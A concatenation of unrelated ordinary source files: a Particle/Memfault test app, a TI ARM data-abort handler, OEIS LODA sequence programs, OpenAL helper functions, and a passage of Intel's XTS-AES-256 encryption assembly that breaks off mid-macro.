//!
//! Copyright (c) Memfault, Inc.
//! See License.txt for details
//!
//! @brief
//!
//! A simple test app which can be used for testing the Particle Memfault library
#include "Particle.h"
#include "application.h"
#include "spark_wiring_json.h"
#include "memfault.h"
#include "logging.h"
LOG_SOURCE_CATEGORY("memfault_app")
SYSTEM_MODE(MANUAL);
//! Note: Must be bumped everytime modifications are made
//! https://mflt.io/particle-versioning
#define EXAMPLE_APP_VERSION 1
PRODUCT_ID(PLATFORM_ID);
PRODUCT_VERSION(EXAMPLE_APP_VERSION)
// Enable USB logging and enable full verbosity for debug purposes
static SerialLogHandler s_usb_log_handler(115200, LOG_LEVEL_ALL);
// Note: For test purposes, we defer initializing the Memfault library to
// give time for the USB serial to be initialized and console logs to be up and running
//
// For a production application, we recommend constructing Memfault on bootup by
// adding the following to your application:
//
// static Memfault s_memfault(your_product_id, your_product_version);
// void loop() {
// [...]
// memfault.process();
// }
static Memfault *s_memfault = NULL;
#if Wiring_WiFi
#error "Support for WiFi transport not implemented yet"
#endif
void setup() {
Particle.connect();
}
//! Note: This function loops forever
void loop() {
if (s_memfault == NULL) {
// insert a delay to give Device OS USB init time to complete
delay(1000);
s_memfault = new Memfault(EXAMPLE_APP_VERSION);
}
s_memfault->process();
Particle.process();
}
JSONValue getValue(const JSONValue& obj, const char* name) {
JSONObjectIterator it(obj);
while (it.next()) {
if (it.name() == name) {
return it.value();
}
}
return JSONValue();
}
void ctrl_request_custom_handler(ctrl_request* req) {
LOG(INFO, "Received Command: %.*s", req->request_size, req->request_data);
auto d = JSONValue::parse(req->request_data, req->request_size);
SPARK_ASSERT(d.isObject());
JSONValue data_ = std::move(d);
const char *command = getValue(data_, "command").toString().data();
//! No support for argv / argc forwarding today
const bool success = s_memfault->run_debug_cli_command(command, 0, NULL);
system_ctrl_set_result(req, success ? SYSTEM_ERROR_NONE : SYSTEM_ERROR_NOT_SUPPORTED, nullptr, nullptr, nullptr);
}
|
;-------------------------------------------------------------------------------
; dabort.asm
;
; Copyright (C) 2009-2018 Texas Instruments Incorporated - www.ti.com
;
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the
; distribution.
;
; Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
;
;
.text
.arm
;-------------------------------------------------------------------------------
; Run Memory Test
.ref custom_dabort
.def _dabort
.asmfunc
_dabort
stmfd r13!, {r0 - r12, lr}; push registers and link register on to stack
ldr r12, esmsr3 ; ESM Group3 status register
ldr r0, [r12]
tst r0, #0x8 ; check if bit 3 is set, this indicates uncorrectable ECC error on B0TCM
bne ramErrorFound
tst r0, #0x20 ; check if bit 5 is set, this indicates uncorrectable ECC error on B1TCM
bne ramErrorFound2
noRAMerror
tst r0, #0x80 ; check if bit 7 is set, this indicates uncorrectable ECC error on ATCM
bne flashErrorFound
bl custom_dabort ; custom data abort handler required
; If this custom handler is written in assembly, all registers used in the routine
; and the link register must be saved on to the stack upon entry, and restored before
; return from the routine.
ldmfd r13!, {r0 - r12, lr}; pop registers and link register from stack
subs pc, lr, #8 ; restore state of CPU when abort occurred, and branch back to instruction that was aborted
ramErrorFound
ldr r1, ramctrl ; RAM control register for B0TCM TCRAMW
ldr r2, [r1]
tst r2, #0x100 ; check if bit 8 is set in RAMCTRL, this indicates ECC memory write is enabled
beq ramErrorReal
mov r2, #0x20
str r2, [r1, #0x10] ; clear RAM error status register
mov r2, #0x08
str r2, [r12] ; clear ESM group3 channel3 flag for uncorrectable RAM ECC errors
mov r2, #5
str r2, [r12, #0x18] ; The nERROR pin will become inactive once the LTC counter expires
ldmfd r13!, {r0 - r12, lr}
subs pc, lr, #4 ; branch to instruction after the one that caused the abort
; this is the case because the data abort was caused intentionally
; and we do not want to cause the same data abort again.
ramErrorFound2
ldr r1, ram2ctrl ; RAM control register for B1TCM TCRAMW
ldr r2, [r1]
tst r2, #0x100 ; check if bit 8 is set in RAMCTRL, this indicates ECC memory write is enabled
beq ramErrorReal
mov r2, #0x20
str r2, [r1, #0x10] ; clear RAM error status register
mov r2, #0x20
str r2, [r12] ; clear ESM group3 flags channel5 flag for uncorrectable RAM ECC errors
mov r2, #5
str r2, [r12, #0x18] ; The nERROR pin will become inactive once the LTC counter expires
ldmfd r13!, {r0 - r12, lr}
subs pc, lr, #4 ; branch to instruction after the one that caused the abort
; this is the case because the data abort was caused intentionally
; and we do not want to cause the same data abort again.
ramErrorReal
b ramErrorReal ; branch here forever as continuing operation is not recommended
flashErrorFound
ldr r1, flashbase
ldr r2, [r1, #0x6C] ; read FDIAGCTRL register
mov r2, r2, lsr #16
tst r2, #5 ; check if bits 19:16 are 5, this indicates diagnostic mode is enabled
beq flashErrorReal
mov r2, #1
mov r2, r2, lsl #8
str r2, [r1, #0x1C] ; clear FEDACSTATUS error flag
mov r2, #0x80
str r2, [r12] ; clear ESM group3 flag for uncorrectable flash ECC error
mov r2, #5
str r2, [r12, #0x18] ; The nERROR pin will become inactive once the LTC counter expires
ldmfd r13!, {r0 - r12, lr}
subs pc, lr, #4 ; branch to instruction after the one that caused the abort
; this is the case because the data abort was caused intentionally
; and we do not want to cause the same data abort again.
flashErrorReal
b flashErrorReal ; branch here forever as continuing operation is not recommended
esmsr3 .word 0xFFFFF520
ramctrl .word 0xFFFFF800
ram2ctrl .word 0xFFFFF900
ram1errstat .word 0xFFFFF810
ram2errstat .word 0xFFFFF910
flashbase .word 0xFFF87000
.endasmfunc
|
; A014138: Partial sums of (Catalan numbers starting 1, 2, 5, ...).
; 0,1,3,8,22,64,196,625,2055,6917,23713,82499,290511,1033411,3707851,13402696,48760366,178405156,656043856,2423307046,8987427466,33453694486,124936258126,467995871776,1757900019100,6619846420552,24987199492704,94520750408708,358268702159068,1360510918810436,5175497420902740,19720133460129649,75254198337177847,287590328749420957,1100534370899151721,4216819865806452983,16176618251666906475,62127422576288648839,238861285363295350239,919286657093271150629,3541413699369763259449,13655332291007661393469,52699762202912105352709,203553241407997457013409,786853361000994150101449,3043971215078242223355169,11784299926611415613401489,45653073683802462499830979,176980971925971827977822879,686533217105588966032431451,2664794874861749619656205907,10349580545376066004887022063,40218747491148691955029439575,156376618946931126205583285455,608336336974884597653192794879,2367750953583703468645672670851,9220207881428576966195331135163,35921160738203428870440552047827,140009621027325732903938870859907,545954616154902718634582314227019,2129805580751022761321355093265915,8311933539335878411808435940482251,32451671282381505237519894486755563,126747521841153485025455279433135688,495226691716970144504464322146682638
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
add $4,1
mov $5,$0
add $5,$0
bin $5,$0
div $5,$4
add $1,$5
lpe
sub $1,1
mov $0,$1
|
#include "sound.h"
#include "AL/al.h"
#include "AL/alc.h"
namespace sound {
bool Init()
{
ALCdevice *ALDevice = alcOpenDevice(NULL);
bool ALValid = (NULL != ALDevice);
if(ALValid)
{
ALCcontext *ALContext = alcCreateContext(ALDevice, NULL);
alcMakeContextCurrent(ALContext);
alGetError(); // Clear Error Stack
}
else
{
printf("Couldn't init OpenAL.\n");
}
return ALValid;
}
void Destroy()
{
ALCcontext *ALContext = alcGetCurrentContext();
if(ALContext)
{
ALCdevice *ALDevice = alcGetContextsDevice(ALContext);
alcMakeContextCurrent(NULL);
alcDestroyContext(ALContext);
alcCloseDevice(ALDevice);
}
}
bool CheckALError()
{
ALenum Error = alGetError();
if(Error != AL_NO_ERROR)
{
char ErrorMsg[128];
switch(Error)
{
case AL_INVALID_NAME:
{
snprintf(ErrorMsg, 128, "Bad Name ID passed to AL.");
}break;
case AL_INVALID_ENUM:
{
snprintf(ErrorMsg, 128, "Invalid Enum passed to AL.");
}break;
case AL_INVALID_VALUE:
{
snprintf(ErrorMsg, 128, "Invalid Value passed to AL.");
}break;
case AL_INVALID_OPERATION:
{
snprintf(ErrorMsg, 128, "Invalid Operation requested to AL.");
}break;
case AL_OUT_OF_MEMORY:
{
snprintf(ErrorMsg, 128, "Out of Memory.");
}break;
}
printf("OpenAL Error : %s\n", ErrorMsg);
return false;
}
return true;
}
bool TempPrepareSound(ALuint *Buffer, ALuint *Source)
{
// Generate Buffers
alGenBuffers(1, Buffer);
if(!CheckALError()) return false;
// Generate Sources
alGenSources(1, Source);
if(!CheckALError()) return false;
// Attach Buffer to Source
alSourcei(*Source, AL_LOOPING, AL_TRUE);
if(!CheckALError()) return false;
return true;
}
}
|
; A192920: Coefficient of x in the reduction by (x^2 -> x+1) of the polynomial F(n+4)*x^n, where F=A000045 (Fibonacci sequence).
; 0,5,8,26,63,170,440,1157,3024,7922,20735,54290,142128,372101,974168,2550410,6677055,17480762,45765224,119814917,313679520,821223650,2149991423,5628750626,14736260448,38580030725,101003831720,264431464442,692290561599,1812440220362,4745030099480,12422650078085,32522920134768,85146110326226,222915410843903,583600122205490,1527884955772560,4000054745112197,10472279279564024,27416783093579882,71778070001175615,187917426909946970,491974210728665288,1288005205276048901,3372041405099481408,8828119010022395330,23112315624967704575,60508827864880718402,158414167969674450624,414733676044142633477,1085786860162753449800,2842626904444117715930,7442093853169599697983,19483654655064681378026,51008870112024444436088,133542955681008651930245,349619996931001511354640,915317035111995882133682,2396331108404986135046399,6273676290102962523005522,16424697761903901433970160,43000416995608741778904965,112576553224922323902744728,294729242679158229929329226,771611174812552365885242943,2020104281758498867726399610,5288701670462944237293955880,13846000729630333844155468037,36249300518428057295172448224,94901900825653838041361876642,248456401958533456828913181695,650467305049946532445377668450,1702945513191306140507219823648,4458369234523971889076281802501,11672162190380609526721625583848,30558117336617856691088594949050,80002189819472960546544159263295,209448452121801024948543882840842,548343166545930114299087489259224,1435581047515989317948718584936837,3758399976002037839547068265551280,9839618880490124200692486211717010,25760456665468334762530390369599743,67441751115914880086898684897082226,176564796682276305498165664321646928,462252638930914036407598308067858565
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
trn $0,1
seq $0,80143 ; a(n) = F(3)*F(n)*F(n+1) + F(4)*F(n+1)^2 - F(4) if n even, F(3)*F(n)*F(n+1) + F(4)*F(n+1)^2 if n odd, where F(n) is the n-th Fibonacci number (A000045).
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2020 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; XTS encrypt function with 256-bit AES
; input keys are not aligned
; keys are expanded in parallel with the tweak encryption
; plaintext and ciphertext are not aligned
; second key is stored in the stack as aligned to 16 Bytes
; first key is required only once, no need for storage of this key
%include "reg_sizes.asm"
%if (AS_FEATURE_LEVEL) >= 10
default rel
%define TW rsp ; store 8 tweak values
%define keys rsp + 16*8 ; store 15 expanded keys
%ifidn __OUTPUT_FORMAT__, win64
%define _xmm rsp + 16*23 ; store xmm6:xmm15
%endif
%ifidn __OUTPUT_FORMAT__, elf64
%define _gpr rsp + 16*23 ; store rbx
%define VARIABLE_OFFSET 16*8 + 16*15 + 8*1 ; VARIABLE_OFFSET has to be an odd multiple of 8
%else
%define _gpr rsp + 16*33 ; store rdi, rsi, rbx
%define VARIABLE_OFFSET 16*8 + 16*15 + 16*10 + 8*3 ; VARIABLE_OFFSET has to be an odd multiple of 8
%endif
%define GHASH_POLY 0x87
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void XTS_AES_256_enc_avx(
; UINT8 *k2, // key used for tweaking, 16*2 bytes
; UINT8 *k1, // key used for "ECB" encryption, 16*2 bytes
; UINT8 *TW_initial, // initial tweak value, 16 bytes
; UINT64 N, // sector size, in bytes
; const UINT8 *pt, // plaintext sector input data
; UINT8 *ct); // ciphertext sector output data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; arguments for input parameters
%ifidn __OUTPUT_FORMAT__, elf64
%xdefine ptr_key2 rdi
%xdefine ptr_key1 rsi
%xdefine T_val rdx
%xdefine N_val rcx
%xdefine ptr_plaintext r8
%xdefine ptr_ciphertext r9
%else
%xdefine ptr_key2 rcx
%xdefine ptr_key1 rdx
%xdefine T_val r8
%xdefine N_val r9
%xdefine ptr_plaintext r10; [rsp + VARIABLE_OFFSET + 8*5]
%xdefine ptr_ciphertext r11; [rsp + VARIABLE_OFFSET + 8*6]
%endif
; arguments for temp parameters
%ifidn __OUTPUT_FORMAT__, elf64
%define tmp1 rdi
%define ghash_poly_8b r10
%define ghash_poly_8b_temp r11
%else
%define tmp1 rcx
%define ghash_poly_8b rdi
%define ghash_poly_8b_temp rsi
%endif
%define twtempl rax ; global temp registers used for tweak computation
%define twtemph rbx
%define zpoly zmm25
; produce the key for the next round
; raw_key is the output of vaeskeygenassist instruction
; round_key value before this key_expansion_128 macro is current round key
; round_key value after this key_expansion_128 macro is next round key
; 2 macros will be used for key generation in a flip-flopped fashion
%macro key_expansion_256_flip 3
%define %%xraw_key %1
%define %%xtmp %2
%define %%xround_key %3
vpshufd %%xraw_key, %%xraw_key, 11111111b
vshufps %%xtmp, %%xround_key, 00010000b
vpxor %%xround_key, %%xtmp
vshufps %%xtmp, %%xround_key, 10001100b
vpxor %%xround_key, %%xtmp
vpxor %%xround_key, %%xraw_key
%endmacro
%macro key_expansion_256_flop 3
%define %%xraw_key %1
%define %%xtmp %2
%define %%xround_key %3
vpshufd %%xraw_key, %%xraw_key, 10101010b
vshufps %%xtmp, %%xround_key, 00010000b
vpxor %%xround_key, %%xtmp
vshufps %%xtmp, %%xround_key, 10001100b
vpxor %%xround_key, %%xtmp
vpxor %%xround_key, %%xraw_key
%endmacro
; macro to encrypt the tweak value in parallel with key generation of both keys
%macro encrypt_T 10
%define %%xkey2 %1
%define %%xkey2_2 %2
%define %%xstate_tweak %3
%define %%xkey1 %4
%define %%xkey1_2 %5
%define %%xraw_key %6
%define %%xtmp %7
%define %%ptr_key2 %8
%define %%ptr_key1 %9
%define %%ptr_expanded_keys %10
vmovdqu %%xkey2, [%%ptr_key2]
vpxor %%xstate_tweak, %%xkey2 ; ARK for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1]
vmovdqa [%%ptr_expanded_keys+16*0], %%xkey1
vmovdqu %%xkey2_2, [%%ptr_key2 + 16*1]
vaesenc %%xstate_tweak, %%xkey2_2 ; round 1 for tweak encryption
vmovdqu %%xkey1_2, [%%ptr_key1 + 16*1]
vmovdqa [%%ptr_expanded_keys+16*1], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x1 ; Generating round key 2 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x1 ; Generating round key 2 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenc %%xstate_tweak, %%xkey2 ; round 2 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*2], %%xkey1
vaeskeygenassist %%xraw_key, %%xkey2, 0x1 ; Generating round key 3 for key2
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey2_2
vaeskeygenassist %%xraw_key, %%xkey1, 0x1 ; Generating round key 3 for key1
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey1_2
vaesenc %%xstate_tweak, %%xkey2_2 ; round 3 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*3], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x2 ; Generating round key 4 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x2 ; Generating round key 4 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenc %%xstate_tweak, %%xkey2 ; round 4 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*4], %%xkey1
vaeskeygenassist %%xraw_key, %%xkey2, 0x2 ; Generating round key 5 for key2
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey2_2
vaeskeygenassist %%xraw_key, %%xkey1, 0x2 ; Generating round key 5 for key1
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey1_2
vaesenc %%xstate_tweak, %%xkey2_2 ; round 5 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*5], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x4 ; Generating round key 6 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x4 ; Generating round key 6 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenc %%xstate_tweak, %%xkey2 ; round 6 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*6], %%xkey1
vaeskeygenassist %%xraw_key, %%xkey2, 0x4 ; Generating round key 7 for key2
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey2_2
vaeskeygenassist %%xraw_key, %%xkey1, 0x4 ; Generating round key 7 for key1
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey1_2
vaesenc %%xstate_tweak, %%xkey2_2 ; round 7 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*7], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x8 ; Generating round key 8 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x8 ; Generating round key 8 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenc %%xstate_tweak, %%xkey2 ; round 8 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*8], %%xkey1
vaeskeygenassist %%xraw_key, %%xkey2, 0x8 ; Generating round key 9 for key2
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey2_2
vaeskeygenassist %%xraw_key, %%xkey1, 0x8 ; Generating round key 9 for key1
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey1_2
vaesenc %%xstate_tweak, %%xkey2_2 ; round 9 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*9], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x10 ; Generating round key 10 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x10 ; Generating round key 10 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenc %%xstate_tweak, %%xkey2 ; round 10 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*10], %%xkey1
vaeskeygenassist %%xraw_key, %%xkey2, 0x10 ; Generating round key 11 for key2
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey2_2
vaeskeygenassist %%xraw_key, %%xkey1, 0x10 ; Generating round key 11 for key1
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey1_2
vaesenc %%xstate_tweak, %%xkey2_2 ; round 11 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*11], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x20 ; Generating round key 12 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x20 ; Generating round key 12 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenc %%xstate_tweak, %%xkey2 ; round 12 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*12], %%xkey1
vaeskeygenassist %%xraw_key, %%xkey2, 0x20 ; Generating round key 13 for key2
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey2_2
vaeskeygenassist %%xraw_key, %%xkey1, 0x20 ; Generating round key 13 for key1
key_expansion_256_flop %%xraw_key, %%xtmp, %%xkey1_2
vaesenc %%xstate_tweak, %%xkey2_2 ; round 13 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*13], %%xkey1_2
vaeskeygenassist %%xraw_key, %%xkey2_2, 0x40 ; Generating round key 14 for key2
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey2
vaeskeygenassist %%xraw_key, %%xkey1_2, 0x40 ; Generating round key 14 for key1
key_expansion_256_flip %%xraw_key, %%xtmp, %%xkey1
vaesenclast %%xstate_tweak, %%xkey2 ; round 14 for tweak encryption
vmovdqa [%%ptr_expanded_keys+16*14], %%xkey1
vmovdqa [TW], %%xstate_tweak ; Store the encrypted Tweak value
%endmacro
; generate initial tweak values
; load initial plaintext values
%macro initialize 16
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%ST3 %3 ; state 3
%define %%ST4 %4 ; state 4
%define %%ST5 %5 ; state 5
%define %%ST6 %6 ; state 6
%define %%ST7 %7 ; state 7
%define %%ST8 %8 ; state 8
%define %%TW1 %9 ; tweak 1
%define %%TW2 %10 ; tweak 2
%define %%TW3 %11 ; tweak 3
%define %%TW4 %12 ; tweak 4
%define %%TW5 %13 ; tweak 5
%define %%TW6 %14 ; tweak 6
%define %%TW7 %15 ; tweak 7
%define %%num_initial_blocks %16
; generate next Tweak values
vmovdqa %%TW1, [TW+16*0]
mov twtempl, [TW+8*0]
mov twtemph, [TW+8*1]
vmovdqu %%ST1, [ptr_plaintext+16*0]
%if (%%num_initial_blocks>=2)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*2], twtempl
mov [TW+8*3], twtemph;
vmovdqa %%TW2, [TW+16*1]
vmovdqu %%ST2, [ptr_plaintext+16*1]
%endif
%if (%%num_initial_blocks>=3)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*4], twtempl
mov [TW+8*5], twtemph;
vmovdqa %%TW3, [TW+16*2]
vmovdqu %%ST3, [ptr_plaintext+16*2]
%endif
%if (%%num_initial_blocks>=4)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*6], twtempl
mov [TW+8*7], twtemph;
vmovdqa %%TW4, [TW+16*3]
vmovdqu %%ST4, [ptr_plaintext+16*3]
%endif
%if (%%num_initial_blocks>=5)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*8], twtempl
mov [TW+8*9], twtemph;
vmovdqa %%TW5, [TW+16*4]
vmovdqu %%ST5, [ptr_plaintext+16*4]
%endif
%if (%%num_initial_blocks>=6)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*10], twtempl
mov [TW+8*11], twtemph;
vmovdqa %%TW6, [TW+16*5]
vmovdqu %%ST6, [ptr_plaintext+16*5]
%endif
%if (%%num_initial_blocks>=7)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*12], twtempl
mov [TW+8*13], twtemph;
vmovdqa %%TW7, [TW+16*6]
vmovdqu %%ST7, [ptr_plaintext+16*6]
%endif
%endmacro
; encrypt initial blocks of AES
; 1, 2, 3, 4, 5, 6 or 7 blocks are encrypted
; next 8 Tweak values are generated
%macro encrypt_initial 18
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%ST3 %3 ; state 3
%define %%ST4 %4 ; state 4
%define %%ST5 %5 ; state 5
%define %%ST6 %6 ; state 6
%define %%ST7 %7 ; state 7
%define %%ST8 %8 ; state 8
%define %%TW1 %9 ; tweak 1
%define %%TW2 %10 ; tweak 2
%define %%TW3 %11 ; tweak 3
%define %%TW4 %12 ; tweak 4
%define %%TW5 %13 ; tweak 5
%define %%TW6 %14 ; tweak 6
%define %%TW7 %15 ; tweak 7
%define %%T0 %16 ; Temp register
%define %%num_blocks %17
; %%num_blocks blocks encrypted
; %%num_blocks can be 1, 2, 3, 4, 5, 6, 7
%define %%lt128 %18 ; less than 128 bytes
; xor Tweak value
vpxor %%ST1, %%TW1
%if (%%num_blocks>=2)
vpxor %%ST2, %%TW2
%endif
%if (%%num_blocks>=3)
vpxor %%ST3, %%TW3
%endif
%if (%%num_blocks>=4)
vpxor %%ST4, %%TW4
%endif
%if (%%num_blocks>=5)
vpxor %%ST5, %%TW5
%endif
%if (%%num_blocks>=6)
vpxor %%ST6, %%TW6
%endif
%if (%%num_blocks>=7)
vpxor %%ST7, %%TW7
%endif
; ARK
vmovdqa %%T0, [keys]
vpxor %%ST1, %%T0
%if (%%num_blocks>=2)
vpxor %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vpxor %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vpxor %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vpxor %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vpxor %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vpxor %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
%endif
; round 1
vmovdqa %%T0, [keys + 16*1]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*0], twtempl ; next Tweak1 generated
mov [TW + 8*1], twtemph
xor ghash_poly_8b_temp, ghash_poly_8b_temp
%endif
; round 2
vmovdqa %%T0, [keys + 16*2]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
